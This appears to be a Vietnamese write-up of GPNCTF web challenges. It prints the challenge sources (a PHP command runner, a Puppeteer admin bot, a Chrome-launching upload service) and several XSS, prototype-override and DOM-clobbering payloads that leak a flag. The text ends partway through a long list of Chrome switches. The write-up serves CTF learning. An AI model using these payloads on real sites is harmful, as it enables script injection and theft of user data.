Giải này hầu như là Client-Side, đặc biệt là XSS, source cũng khá ngắn khá tương tự nhau nên cũng không phải tìm hiểu nhiều về các thư viện,… như các giải khác.
Tổng kết các chall với điểm và lượt solve:
Learn More →
Source:
<?php
ini_set("display_errors",1);
error_reporting(E_ALL);
//we tought about using passwords but you see everyone says they are insecure thus we came up with our own riddle.
function securePassword($user_secret){
if ($user_secret < 10000){
die("nope don't cheat");
}
$o = (integer) (substr(hexdec(md5(strval($user_secret))),0,7)*123981337);
return $user_secret * $o ;
}
//this weird http parameter handling is old we use json
$user_input = json_decode($_POST["data"]);
//attention handling user data is dangerous
var_dump($user_input);
if ($_SERVER['HTTP_USER_AGENT'] != "friendlyHuman"){
die("we don't tolerate toxicity");
}
if($user_input->{'user'} === "admin🤠") {
if ($user_input->{'password'} == securePassword($user_input->{'password'}) ){
echo " hail admin what can I get you ". system($user_input->{"command"});
}
else {
die("Skill issue? Maybe you just try again?");
}}
else {
echo "<html>";
echo "<body>";
echo "<h1>Welcome [to innovative Web Startup]</h1>";
echo "<p> here we focus on the core values of each website. The backbone that carries the entire frontend</p><br><br>";
echo "<blink>For this we only use old and trusty tools that are well documented and well tested</blink><br><br>";
echo "<Big>That is not to say that we are not innovative, our authenticators are ahead of their time.</Big><br><br>";
echo "<plaintext> to give you an teaser of our skills look at this example of commissioned work we build in a past project </plaintext>";
echo system("fortune")."<br>";
}
?>
Solution:
Learn More →
Source
const express = require('express');
const puppeteer = require('puppeteer');
const randomBytes = require('crypto').randomBytes(32).toString('hex');
const fs = require('fs');
const flag = process.env.FLAG || fs.readFileSync('./flag', 'utf8');
const script = fs.readFileSync('./script.js', 'utf8');
const app = express();
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
res.send(`
<h1>TODO</h1>
<form action="/chal" method="post">
<input type="text" name="html" placeholder="HTML">
<button type="submit">Submit to /chal</button>
</form>
<hr>
<form action="/admin" method="post">
<input type="text" name="html" placeholder="HTML">
<button type="submit">Submit to /admin</button>
</form>
`);
});
app.post('/chal', (req, res) => {
const { html } = req.body;
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-inline';");
res.send(`
<script src="/script.js"></script>
${html}
`);
});
app.get('/script.js', (req, res) => {
res.type('.js');
let response = script;
if ((req.get("cookie") || "").includes(randomBytes)) response = response.replace(/GPNCTF\{.*\}/, flag)
res.send(response);
});
app.post('/admin', async (req, res) => {
try {
const { html } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
const page = await browser.newPage();
page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
await page.goto('http://localhost:1337/');
await page.type('input[name="html"]', html);
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 2000));
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
app.listen(1337, () => console.log('listening on http://localhost:1337'));
Bot sẽ nhập param html
sau đó và POST đến /chal
, sau đó capture screenshot lại. Mục tiêu là đưa nó vào /script.js
chứa flag:
class FlagAPI {
constructor() {
throw new Error("Not implemented yet!")
}
static valueOf() {
return new FlagAPI()
}
static toString() {
return "<FlagAPI>"
}
// TODO: Make sure that this is secure before deploying
// getFlag() {
// return "GPNCTF{FAKE_FLAG_ADMINBOT_WILL_REPLACE_ME}"
// }
}
Payload:
<img src=0 onerror=location.href="/script.js">
Hoặc
<script defer>
let a = Function.prototype.toString.apply(FlagAPI);
document.write(a);
</script>
Khác bài trên ở chỗ:
Learn More →
flag đã bị replace:
Learn More →
<script>
FlagAPI.toString = Function.prototype.toString;
document.write(FlagAPI.toString().split(""));
</script>
Learn More →
<script>''.__proto__.replace = (a, b) => a</script>
<body></body><script>"".__proto__.replace = () => window.location="/script.js" </script>
Learn More →
Learn More →
Dom clobbering (document.body
):
<script>
FlagAPI.toString = Object.toString;document.write(FlagAPI.toString())
</script>
<form name="body"></form>
Learn More →
Source:
const express = require('express');
const { exec, spawn } = require('child_process');
const fs = require('fs');
const path = require('path');
const multer = require('multer');
const app = express();
const port = 1337;
const flags = fs.readFileSync('flags.txt', 'utf8')
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, path.join(__dirname, 'uploads'));
},
filename: (req, file, cb) => {
cb(null, Math.random().toString(36).substring(7) + '.html');
}
});
const upload = multer({ storage });
app.get('/', (req, res) => {
res.send(`
<html>
<body>
<h1>Upload an HTML file</h1>
<form action="/submit" method="post" enctype="multipart/form-data">
<input type="file" name="htmlFile" accept=".html">
<button type="submit">Submit</button>
</form>
</body>
</html>
`);
});
app.post('/submit', upload.single('htmlFile'), (req, res) => {
console.log(req.file);
const { filename, path: filePath } = req.file;
if (!filename || !filePath) {
return res.status(400).send('No file uploaded');
}
const userDir = '/tmp/chrome-user-data-dir-' + Math.random().toString(36).substring(7);
// Don't even try to remove --headless, everything will break. If you want to try stuff, use --remote-debugging-port and disable all other remote debugging flags.
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;
res.send('File uploaded and processed successfully. Launched Chrome:<br><br>' + command);
const chromeProcess = exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error executing command: ${error.message}\nStdout: ${stdout}`);
} else {
console.error(`Stderr: ${stderr}\nStdout: ${stdout}`);
}
});
setTimeout(() => {
// seems brutal but chrome does Weird Things™ when launched with Every Possible Flag™
exec('killall -9 chrome', (error, stdout, stderr) => {});
console.log('Chrome process aborted');
}, 10_000);
});
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});
Bài này cho phép upload file html và truy cập vào nó bằng cli của chrome
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;
Và dĩ nhiên có thể thực thi được JS.
Một số options chạy chrome được lưu trong flags.txt
:
--0 --1 --10000 --100000 --1000000 --2 --3d-display-mode --4 --50000 --500000 --5000000 --7 --? --accept-empty-variations-seed-signature --accept-lang --accept-resource-provider --adaboost --add-gpu-appcontainer-caps --add-xr-appcontainer-caps --additional-private-state-token-key-commitments --aggressive-cache-discard --all --all-renderers --allarticles --allow-command-line-plugins --allow-cross-origin-auth-prompt --allow-empty-passwords-in-tests --allow-external-pages --allow-failed-policy-fetch-for-test --allow-file-access-from-files --allow-future-manifest-version --allow-http-background-page --allow-http-screen-capture --allow-insecure-localhost --allow-legacy-extension-manifests --allow-loopback-in-peer-connection --allow-nacl-crxfs-api --allow-nacl-file-handle-api --allow-nacl-socket-api --allow-os-install --allow-pre-commit-input --allow-profiles-outside-user-dir --allow-ra-in-dev-mode --allow-running-insecure-content --allow-sandbox-debugging --allow-silent-push --allow-third-party-modules --allowlisted-extension-id --almanac-api-url --alsa-amp-device-name --alsa-amp-element-name --alsa-check-close-timeout --alsa-enable-upsampling --alsa-fixed-output-sample-rate --alsa-input-device --alsa-mute-device-name --alsa-mute-element-name --alsa-output-avail-min --alsa-output-buffer-size --alsa-output-device --alsa-output-period-size --alsa-output-start-threshold --alsa-volume-device-name --alsa-volume-element-name --also-emit-success-logs --always-enable-hdcp --always-use-complex-text --alwaystrue --angle --animated-image-resume --animation-duration-scale --app --app-auto-launched --app-id --app-launch-url-for-shortcuts-menu-item --app-mode-auth-code --app-mode-oauth-token --app-mode-oem-manifest --app-run-on-os-login-mode --app-shell-allow-roaming --app-shell-host-window-size --app-shell-preferred-network --apple --apps-gallery-download-url --apps-gallery-update-url --apps-gallery-url --apps-keep-chrome-alive-in-tests --arc-availability --arc-available --arc-block-keymint --arc-data-cleanup-on-start --arc-disable-app-sync --arc-disable-dexopt-cache --arc-disable-download-provider --arc-disable-gms-core-cache --arc-disable-locale-sync --arc-disable-media-store-maintenance --arc-disable-play-auto-install --arc-disable-tts-cache --arc-disable-ureadahead --arc-erofs --arc-force-post-boot-dex-opt --arc-force-show-optin-ui --arc-generate-play-auto-install --arc-host-ureadahead-generation --arc-host-ureadahead-mode --arc-install-event-chrome-log-for-tests --arc-packages-cache-mode --arc-play-store-auto-update --arc-scale --arc-start-mode --arc-tos-host-for-tests --arc-use-dev-caches --arcvm-ureadahead-mode --arcvm-use-hugepages --as-browser --ash-allow-default-shelf-pin-layout-ignoring-sync --ash-bypass-glanceables-pref --ash-clear-fast-ink-buffer --ash-constrain-pointer-to-root --ash-contextual-nudges-interval --ash-contextual-nudges-reset-shown-count --ash-debug-shortcuts --ash-dev-shortcuts --ash-disable-touch-exploration-mode --ash-enable-magnifier-key-scroller --ash-enable-palette-on-all-displays --ash-enable-software-mirroring --ash-enable-unified-desktop --ash-hide-notifications-for-factory --ash-host-window-bounds --ash-no-nudges --ash-power-button-position --ash-side-volume-button-position --ash-touch-hud --attestation-server --attribution-reporting-debug-mode --audio --audio-buffer-size --audio-capturer-with-echo-cancellation --audio-codecs-from-edid --audio-output-channels --audio-output-sample-rate --audio-process-high-priority --aue-reached-for-update-required-test --aura-legacy-power-button --auth-server-allowlist --auth-spnego-account-type --auto --auto-accept-camera-and-microphone-capture --auto-accept-this-tab-capture --auto-grant-captured-surface-control-prompt --auto-open-devtools-for-tabs --auto-reject-this-tab-capture --auto-select-desktop-capture-source --auto-select-tab-capture-source-by-title --auto-select-window-capture-source-by-title --autofill-api-key --autofill-server-url --autofill-upload-throttling-period-in-days --autoplay-policy --back-gesture-horizontal-threshold --background-tracing-output-file --bgra --biod-fake --blink-settings --block-new-web-contents --bootstrap --borealis-launch-options --bottom-gesture-start-height --bound-session-cookie-rotation-delay --bound-session-cookie-rotation-result --browser --browser-data-backward-migration-for-user --browser-data-backward-migration-mode --browser-data-migration-for-user --browser-data-migration-mode --browser-subprocess-path --browser-test --browser-ui-tests-verify-pixels --bwsi --bypass-app-banner-engagement-checks --bypass-installable-message-throttle-for-testing --camera-effects-supported-by-hardware --canvas-2d-layers --cardboard --cast-app-background-color --cast-developer-certificate-path --cast-initial-screen-height --cast-initial-screen-width --cast-log-device-cert-chain --cast-mirroring-target-playout-delay --cast-mojo-broker-path --cast-streaming-force-disable-hardware-h264 --cast-streaming-force-disable-hardware-vp8 --cast-streaming-force-enable-hardware-h264 --cast-streaming-force-enable-hardware-vp8 --cc-layer-tree-test-long-timeout --cc-layer-tree-test-no-timeout --cc-scroll-animation-duration-in-seconds --cdm --cdm-data-directory --cdm-data-quota-bytes --cellular-first --change-stack-guard-on-fork --character --check-accessibility-permission --check-damage-early --check-for-update-interval --check-permission --check-screen-recording-permission --child-wallpaper-large --child-wallpaper-small --cipher-suite-blacklist --clamshell --class --clear-key-cdm-path-for-testing --clear-token-service --compensate-for-unstable-pinch-zoom --compile-shader-always-succeeds --component-updater --component-updater-trust-tokens-component-path --conditional-focus-window-ms --conservative --content-shell-devtools-tab-target --content-shell-hide-toolbar --content-shell-host-window-size --context-provider --controller --coral-feature-key --cors-exempt-headers --crash-dumps-dir --crash-loop-before --crash-on-failure --crash-on-hang-threads --crash-server-url --crashpad-handler --crashpad-handler-pid --create-browser-on-startup-for-tests --cros-disks-fake --cros-postlogin-data-fd --cros-postlogin-log-file --cros-region --cros-startup-data-fd --crosh-command --cryptauth-http-host --cryptauth-v2-devicesync-http-host --cryptauth-v2-enrollment-http-host --cryptohome-ignore-cleanup-ownership-for-testing --cryptohome-recovery-service-base-url --cryptohome-recovery-use-test-env --cryptohome-use-authsession --cryptohome-use-old-encryption-for-testing --custom-android-messages-domain --custom-devtools-frontend --custom_summary --d3d-support --d3d11 --d3d11-null --d3d11on12 --d3d9 --daemon --dark-mode-settings --data-path --data-quota-bytes --data-url-in-svg-use-enabled --dawn --dawn-d3d11 --dawn-d3d12 --dawn-metal --dawn-swiftshader --dawn-vulkan --dbus-stub --deadline-to-synchronize-surfaces --debug-devtools --debug-packed-apps --debug-print --default --default-country-code --default-tile-height --default-tile-width --default-trace-buffer-size-limit-in-kb --default-wallpaper-is-oem --default-wallpaper-large --default-wallpaper-small --defer-external-display-timeout --defer-feature-list --demo-mode-enrolling-username --demo-mode-force-arc-offline-provision --demo-mode-highlights-extension --demo-mode-screensaver-extension --demo-mode-swa-content-directory --deny-permission-prompts --derelict-detection-timeout --derelict-idle-timeout --desktop --desktop-window-1080p --deterministic-mode --dev --device-management-url --device-scale-factor --devtools-code-coverage --devtools-flags --diagnostics-format --diagnostics-recovery --direct-composition-video-swap-chain-format --direction --disable --disable-2d-canvas-clip-aa --disable-2d-canvas-image-chromium --disable-3d-apis --disable-accelerated-2d-canvas --disable-accelerated-mjpeg-decode --disable-accelerated-video-decode --disable-accelerated-video-encode --disable-adpf --disable-angle-features --disable-app-content-verification --disable-arc-cpu-restriction --disable-arc-data-wipe --disable-arc-opt-in-verification --disable-audio-input --disable-audio-output --disable-auto-maximize-for-tests --disable-auto-reload --disable-auto-wpt-origin-isolation --disable-ax-menu-list --disable-back-forward-cache --disable-background-media-suspend --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-backing-store-limit --disable-best-effort-tasks --disable-blink-features --disable-breakpad --disable-cancel-all-touches --disable-canvas-aa --disable-checker-imaging --disable-checking-optimization-guide-user-permissions --disable-chrome-tracing-computation --disable-component-extensions-with-background-pages --disable-component-update --disable-composited-antialiasing --disable-cookie-encryption --disable-crash-reporter --disable-databases --disable-dawn-features --disable-default-apps --disable-demo-mode --disable-dev-shm-usage --disable-device-disabling --disable-dinosaur-easter-egg --disable-disallow-lacros --disable-domain-blocking-for-3d-apis --disable-domain-reliability --disable-drive-fs-for-testing --disable-explicit-dma-fences --disable-extensions --disable-extensions-except --disable-extensions-file-access-check --disable-extensions-http-throttling --disable-features --disable-field-trial-config --disable-file-system --disable-fine-grained-time-zone-detection --disable-first-run-ui --disable-font-subpixel-positioning --disable-frame-rate-limit --disable-gaia-services --disable-gesture-requirement-for-presentation --disable-gl-drawing-for-tests --disable-gl-error-limit --disable-gl-extensions --disable-glsl-translator --disable-gpu --disable-gpu-compositing --disable-gpu-driver-bug-workarounds --disable-gpu-early-init --disable-gpu-memory-buffer-compositor-resources --disable-gpu-memory-buffer-video-frames --disable-gpu-process-crash-limit --disable-gpu-process-for-dx12-info-collection --disable-gpu-program-cache --disable-gpu-rasterization --disable-gpu-sandbox --disable-gpu-shader-disk-cache --disable-gpu-vsync --disable-gpu-watchdog --disable-hang-monitor --disable-headless-mode --disable-hid-blocklist --disable-hid-detection-on-oobe --disable-highres-timer --disable-histogram-customizer --disable-image-animation-resync --disable-in-process-stack-traces --disable-input-event-activation-protection --disable-ios-password-suggestions --disable-ipc-flooding-protection --disable-javascript-harmony-shipping --disable-kill-after-bad-ipc --disable-lacros-keep-alive --disable-layer-tree-host-memory-pressure --disable-lazy-loading --disable-lcd-text --disable-legacy-window --disable-libassistant-logfile --disable-local-storage --disable-logging --disable-logging-redirect --disable-login-animations --disable-login-lacros-opening --disable-login-screen-apps --disable-low-end-device-mode --disable-low-latency-dxva --disable-low-res-tiling --disable-machine-cert-request --disable-media-session-api --disable-metal-shader-cache --disable-mipmap-generation --disable-modal-animations --disable-model-download-verification --disable-mojo-renderer --disable-nacl --disable-namespace-sandbox --disable-new-base-url-inheritance-behavior --disable-new-content-rendering-timeout --disable-notifications --disable-nv12-dxgi-video --disable-oobe-chromevox-hint-timer-for-testing --disable-oobe-network-screen-skipping-for-testing --disable-oopr-debug-crash-dump --disable-origin-trial-controlled-blink-features --disable-overscroll-edge-effect --disable-partial-raster --disable-pdf-tagging --disable-pepper-3d --disable-per-user-timezone --disable-permissions-api --disable-pinch --disable-pnacl-crash-throttling --disable-policy-key-verification --disable-popup-blocking --disable-prefer-compositing-to-lcd-text --disable-presentation-api --disable-print-preview --disable-prompt-on-repost --disable-pull-to-refresh-effect --disable-pushstate-throttle --disable-reading-from-canvas --disable-remote-fonts --disable-remote-playback-api --disable-renderer-accessibility --disable-renderer-backgrounding --disable-resource-scheduler --disable-rgba-4444-textures --disable-rollback-option --disable-rtc-smoothness-algorithm --disable-screen-orientation-lock --disable-scroll-to-text-fragment --disable-search-engine-choice-screen --disable-seccomp-filter-sandbox --disable-setuid-sandbox --disable-shader-name-hashing --disable-shared-workers --disable-signin-frame-client-certs --disable-site-isolation-trials --disable-skia-graphite --disable-skia-runtime-opts --disable-smooth-scrolling --disable-software-rasterizer --disable-speech-api --disable-speech-synthesis-api --disable-stack-profiler --disable-third-party-keyboard-workaround --disable-threaded-animation --disable-threaded-compositing --disable-throttle-non-visible-cross-origin-iframes --disable-timeouts-for-profiling --disable-touch-drag-drop --disable-usb-keyboard-detect --disable-v8-idle-tasks --disable-variations-safe-mode --disable-variations-seed-fetch-throttling --disable-video-capture-use-gpu-memory-buffer --disable-virtual-keyboard --disable-volume-adjust-sound --disable-vsync-for-tests --disable-vulkan-fallback-to-gl-for-testing --disable-vulkan-for-tests --disable-vulkan-surface --disable-wayland-ime --disable-web-security --disable-webgl --disable-webgl-image-chromium --disable-webgl2 --disable-webrtc-encryption --disable-webrtc-hw-decoding --disable-webrtc-hw-encoding --disable-yuv-image-decoding --disable-zero-browsers-open-for-tests --disable-zero-copy --disable-zero-copy-dxgi-video --disabled --disallow-lacros --disallow-non-exact-resource-reuse --disallow-policy-block-dev-mode --discoverability --disk-cache-dir --disk-cache-size --display --display-properties --dmg-device --document-user-activation-required --dom-automation --double-buffer-compositing --draw-view-bounds-rects --drm-virtual-connector-is-external --dump-blink-runtime-call-stats --dump-browser-histograms --dumpstate-path --edge-touch-filtering --egl --elevate --embedded-extension-options --enable --enable-accelerated-2d-canvas --enable-adaptive-selection-handle-orientation --enable-aggressive-domstorage-flushing --enable-angle-features --enable-arc --enable-arcvm --enable-arcvm-rt-vcpu --enable-ash-debug-browser --enable-audio-debug-recordings-from-extension --enable-auto-reload --enable-automation --enable-background-thread-pool --enable-background-tracing --enable-begin-frame-control --enable-benchmarking --enable-ble-advertising-in-apps --enable-blink-features --enable-blink-test-features --enable-bookmark-undo --enable-caret-browsing --enable-cast-receiver --enable-cast-streaming-receiver --enable-chrome-browser-cloud-management --enable-cloud-print-proxy --enable-consumer-kiosk --enable-content-directories --enable-crash-reporter --enable-crash-reporter-for-testing --enable-crx-hash-check --enable-dawn-backend-validation --enable-dawn-features --enable-dim-shelf --enable-direct-composition-video-overlays --enable-discover-feed --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-encryption-selection --enable-exclusive-audio --enable-experimental-accessibility-autoclick --enable-experimental-accessibility-labels-debugging --enable-experimental-accessibility-language-detection --enable-experimental-accessibility-language-detection-dynamic --enable-experimental-accessibility-manifest-v3 --enable-experimental-accessibility-switch-access-text --enable-experimental-cookie-features --enable-experimental-extension-apis --enable-experimental-web-platform-features --enable-experimental-webassembly-features --enable-extension-activity-log-testing --enable-extension-activity-logging --enable-extension-assets-sharing --enable-fake-no-alloc-direct-call-for-testing --enable-features --enable-finch-seed-delta-compression --enable-font-antialiasing --enable-gpu --enable-gpu-benchmarking --enable-gpu-blocked-time --enable-gpu-client-logging --enable-gpu-client-tracing --enable-gpu-debugging --enable-gpu-driver-debug-logging --enable-gpu-rasterization --enable-gpu-service-logging --enable-gpu-service-tracing --enable-hangout-services-extension-for-testing --enable-houdini64 --enable-idle-tracing --enable-input --enable-ios-handoff-to-other-devices --enable-isolated-web-apps-in-renderer --enable-lacros-fork-zygotes-at-login-screen --enable-lacros-shared-components-dir --enable-lcd-text --enable-leak-detection --enable-leak-detection-heap-snapshot --enable-legacy-background-tracing --enable-live-caption-pref-for-testing --enable-local-file-accesses --enable-logging --enable-longpress-drag-selection --enable-low-res-tiling --enable-magnifier-debug-draw-rect --enable-main-frame-before-activation --enable-nacl --enable-natural-scroll-default --enable-ndk-translation --enable-ndk-translation64 --enable-net-benchmarking --enable-network-information-downlink-max --enable-new-app-menu-icon --enable-ntp-search-engine-country-detection --enable-oobe-chromevox-hint-timer-for-dev-mode --enable-oobe-test-api --enable-optimization-guide-debug-logs --enable-page-content-annotations-logging --enable-pepper-testing --enable-pixel-output-in-tests --enable-plugin-placeholder-testing --enable-precise-memory-info --enable-prefer-compositing-to-lcd-text --enable-primary-node-access-for-vkms-testing --enable-privacy-sandbox-ads-apis --enable-profile-shortcut-manager --enable-promo-manager-fullscreen-promos --enable-protected-video-buffers --enable-raster-side-dark-mode-for-images --enable-requisition-edits --enable-resources-file-sharing --enable-rgba-4444-textures --enable-sandbox-logging --enable-scaling-clipped-images --enable-service-binary-launcher --enable-service-manager-tracing --enable-sgi-video-sync --enable-skia-benchmarking --enable-skia-graphite --enable-smooth-scrolling --enable-spatial-navigation --enable-speech-dispatcher --enable-spotlight-actions --enable-strict-mixed-content-checking --enable-strict-powerful-feature-restrictions --enable-swap-buffers-with-bounds --enable-tablet-form-factor --enable-third-party-keyboard-workaround --enable-threaded-texture-mailboxes --enable-top-drag-gesture --enable-touch-calibration-setting --enable-touch-drag-drop --enable-touchpad-three-finger-click --enable-touchview --enable-trace-app-source --enable-tracing --enable-tracing-format --enable-tracing-fraction --enable-tracing-output --enable-ui-devtools --enable-unsafe-webgpu --enable-upgrade-signin-promo --enable-usermedia-screen-capturing --enable-utempter --enable-viewport --enable-virtual-keyboard --enable-vtune-support --enable-vulkan-protected-memory --enable-wayland-ime --enable-web-auth-deprecated-mojo-testing-api --enable-webgl-developer-extensions --enable-webgl-draft-extensions --enable-webgl-image-chromium --enable-webrtc-srtp-encrypted-headers --enable-widevine --enable-zero-copy --enabled --encode-binary --encrypted-reporting-url --enforce --enforce-gl-minimums --enforce_strict --ensure-forced-color-profile --enterprise-enable-forced-re-enrollment --enterprise-enable-forced-re-enrollment-on-flex --enterprise-enable-initial-enrollment --enterprise-enable-unified-state-determination --enterprise-enrollment-initial-modulus --enterprise-enrollment-modulus-limit --enterprise-force-manual-enrollment-in-test-builds --eol-ignore-profile-creation-time --eol-reset-dismissed-prefs --evaluate_capability --explicitly-allowed-ports --export-uma-logs-to-file --expose-internals-for-testing --extension-apps-block-for-app-service-in-ash --extension-apps-run-in-ash-only --extension-content-verification --extension-force-channel --extension-install-event-chrome-log-for-tests --extension-process --extension-updater-test-request --extensions-install-verification --extensions-on-chrome-urls --extensions-run-in-ash-and-lacros --extensions-run-in-ash-only --external-metrics-collection-interval --extra-search-query-params --extra-web-apps-dir --fail-audio-stream-creation --fake-arc-recommended-apps-for-testing --fake-drivefs-launcher-chroot-path --fake-drivefs-launcher-socket-path --fake-variations-channel --false --feedback-server --field-trial-handle --file-storage-server-upload-url --file-url-path-alias --file_chooser --finch-seed-expiration-age --finch-seed-ignore-pending-download --finch-seed-min-download-period --finch-seed-min-update-period --fingerprint-sensor-location --first-exec-after-boot --flag-switches-begin --flag-switches-end --font-cache-shared-handle --font-render-hinting --force-app-mode --force-assistant-onboarding --force-browser-crash-on-gpu-crash --force-browser-data-migration-for-testing --force-caption-style --force-color-profile --force-cryptohome-recovery-for-testing --force-dark-mode --force-dev-mode-highlighting --force-device-ownership --force-device-scale-factor --force-devtools-available --force-disable-variation-ids --force-enable-metrics-reporting --force-enable-stylus-tools --force-fieldtrials --force-first-run --force-first-run-ui --force-gpu-mem-available-mb --force-gpu-mem-discardable-limit-mb --force-happiness-tracking-system --force-headless-for-tests --force-high-contrast --force-hwid-check-result-for-test --force-lacros-launch-at-login-screen-for-testing --force-launch-browser --force-login-manager-in-tests --force-max-texture-size --force-media-resolution-height --force-media-resolution-width --force-msbb-setting-on-for-ukm --force-online-connection-state-for-indicator --force-permission-policy-unload-default-enabled --force-pnacl-subzero --force-presentation-receiver-for-testing --force-protected-video-output-buffers --force-raster-color-profile --force-refresh-rate-throttle --force-renderer-accessibility --force-search-engine-choice-screen --force-separate-egl-display-for-webgl-testing --force-show-cursor --force-show-update-menu-badge --force-status-area-collapsible --force-tablet-power-button --force-text-direction --force-ui-direction --force-update-menu-type --force-update-remote-url --force-variation-ids --force-video-overlays --force-wave-audio --force-webgpu-compat --force-webxr-runtime --force-whats-new --forest-feature-key --form-factor --frame-throttle-fps --full-memory-crash-report --gaia-url --gamepad-polling-interval --gcm-mcs-endpoint --gcm-registration-url --generate-accessibility-test-expectations --generate-pdf-document-outline --get-access-token-for-test --gl --gl-egl --gl-null --gl-shader-interm-output --glanceables-key --gles --gles-null --google-api-key --google-apis-url --google-base-url --google-doodle-url --google-url --gpu --gpu-blocklist-test-group --gpu-device-id --gpu-disk-cache-size-kb --gpu-driver-bug-list-test-group --gpu-driver-version --gpu-launcher --gpu-no-context-lost --gpu-preferences --gpu-process --gpu-program-cache-size-kb --gpu-rasterization-msaa-sample-count --gpu-revision --gpu-sandbox-allow-sysv-shm --gpu-sandbox-failures-fatal --gpu-sandbox-start-early --gpu-startup-dialog --gpu-sub-system-id --gpu-vendor-id --gpu-watchdog-timeout-seconds --gpu2-startup-dialog --graphics-buffer-count --growth-campaigns-path --guest --guest-wallpaper-large --guest-wallpaper-small --gvr --hardware-video-decode-framerate --hardware_video_decoding --hardware_video_encoding --has-chromeos-keyboard --has-hps --has-internal-stylus --has-number-pad --hermes-fake --hidden-network-migration-age --hidden-network-migration-interval --hide-crash-restore-bubble --hide-icons --hide-scrollbars --highlight-all-webviews --highlight-non-lcd-text-layers --homedir --homepage --host --host-package-label --host-package-name --host-resolver-rules --host-version-code --icon_reader --ignore-arcvm-dev-conf --ignore-autocomplete-off-autofill --ignore-certificate-errors-spki-list --ignore-google-port-numbers --ignore-gpu-blocklist --ignore-unknown-auth-factors --ignore-urlfetcher-cert-requests --ignore-user-profile-mapping-for-tests --ime --in-process-broker --in-process-gpu --initial-preferences-file --initialize-client-hints-storage --install-autogenerated-theme --install-chrome-app --install-isolated-web-app-from-file --install-isolated-web-app-from-url --install-log-fast-upload-for-tests --instant-process --ip-address-space-overrides --ipc-dump-directory --ipc-fuzzer-testcase --isolate-origins --isolated-context-origins --isolation-by-default --js-flags --keep-alive-for-test --kiosk --kiosk-printing --kiosk-splash-screen-min-time-seconds --lacros-availability-ignore --lacros-chrome-additional-args --lacros-chrome-additional-args-file --lacros-chrome-additional-env --lacros-chrome-path --lacros-mojo-socket-for-testing --lacros-selection-policy-ignore --lang --last-launched-app --launch-rma --launch-time-ticks --layer --libassistant --list-apps --list-audio-devices --llvm-profile-file --load-extension --load-guest-mode-test-extension --load-signin-profile-test-extension --localhost --log-best-effort-tasks --log-file --log-gpu-control-list-decisions --log-level --log-missing-unload-ack --log-net-log --log-on-ui-double-background-blur --login-manager --login-profile --login-user --lso-url --ltr --make-chrome-default --managed-user-id --mangle-localized-strings --manual --market-url-for-testing --max-decoded-image-size-mb --max-gum-fps --max-untiled-layer-height --max-untiled-layer-width --max-web-media-player-count --mem-pressure-system-reserved-kb --memlog --memlog-sampling-rate --memlog-stack-mode --message-loop-type-ui --metal --metal-null --metrics-client-id --metrics-recording-only --metrics-shmem-handle --metrics-upload-interval --mf_cdm --min-height-for-gpu-raster-tile --min-video-decoder-output-buffer-size --minimal --mirroring --mixed --mixer-enable-dynamic-channel-count --mixer-service-endpoint --mixer-service-port --mixer-source-audio-ready-threshold-ms --mixer-source-input-queue-ms --mock --mock-cert-verifier-default-result-for-testing --model-quality-service-api-key --mojo-local-storage --mojo-pipe-token --monitoring-destination-id --mse-audio-buffer-size-limit-mb --mse-video-buffer-size-limit-mb --mute-audio --nacl-debug-mask --nacl-gdb --nacl-gdb-script --nacl-loader --native --native-messaging-connect-extension --native-messaging-connect-host --native-messaging-connect-id --native-with-thread-names --nearby-share-certificate-validity-period-hours --nearby-share-device-id --nearby-share-num-private-certificates --nearby-share-verbose-logging --nearbysharing-http-host --net-log-capture-mode --net-log-max-size-mb --netifs-to-ignore --network --network-quiet-timeout --no-appcompat-clear --no-default-browser-check --no-delay-for-dx12-vulkan-info-collection --no-experiments --no-first-run --no-mojo --no-network-profile-warning --no-pings --no-pre-read-main-dll --no-proxy-server --no-sandbox --no-service-autorun --no-system-proxy-config-service --no-unsandboxed-zygote --no-user-gesture-required --no-vr-runtime --no-xshm --no-zygote --no-zygote-sandbox --noerrdialogs --none --none_and_elevated --note-taking-app-ids --notification-inline-reply --notification-launch-id --null --num-raster-threads --nv12 --oauth-account-manager-url --oauth2-client-id --oauth2-client-secret --offer-in-settings --offscreen-document-testing --on-the-fly-mhtml-hash-computation --ondevice-validation-write-to-file --on_device_model_execution --oobe-eula-url-for-tests --oobe-force-tablet-first-run --oobe-large-screen-special-scaling --oobe-print-frontend-load-timings --oobe-screenshot-dir --oobe-show-accessibility-button-on-marketing-opt-in-for-testing --oobe-skip-postlogin --oobe-skip-to-login --oobe-timer-interval --oobe-timezone-override-for-tests --oobe-trigger-sync-timeout-for-tests --opengraph --openxr --optimization-guide-fetch-hints-override --optimization-guide-fetch-hints-override-timer --optimization-guide-model-execution-validate --optimization-guide-model-override --optimization-guide-model-validate --optimization-guide-ondevice-model-execution-override --optimization-guide-service-api-key --optimization-guide-service-get-hints-url --optimization-guide-service-get-models-url --optimization-guide-service-model-execution-url --optimization_guide_hints_override --orientation-sensors --origin-trial-disabled-features --origin-trial-disabled-tokens --origin-trial-public-key --output --override-enabled-cdm-interface-version --override-hardware-secure-codecs-for-testing --override-language-detection --override-metrics-upload-url --override-use-software-gl-for-tests --ozone-dump-file --ozone-override-screen-size --ozone-platform --ozone-platform-hint --pack-extension-key --package-name --package-version-code --package-version-name --page-content-annotations-validation-batch-size --page-content-annotations-validation-content-visibility --page-content-annotations-validation-page-entities --page-content-annotations-validation-startup-delay-seconds --page-content-annotations-validation-write-to-file --parent-window --passthrough --pdf-renderer --pdf_conversion --pen-devices --perf-test-print-uma-means --perfetto-disable-interning 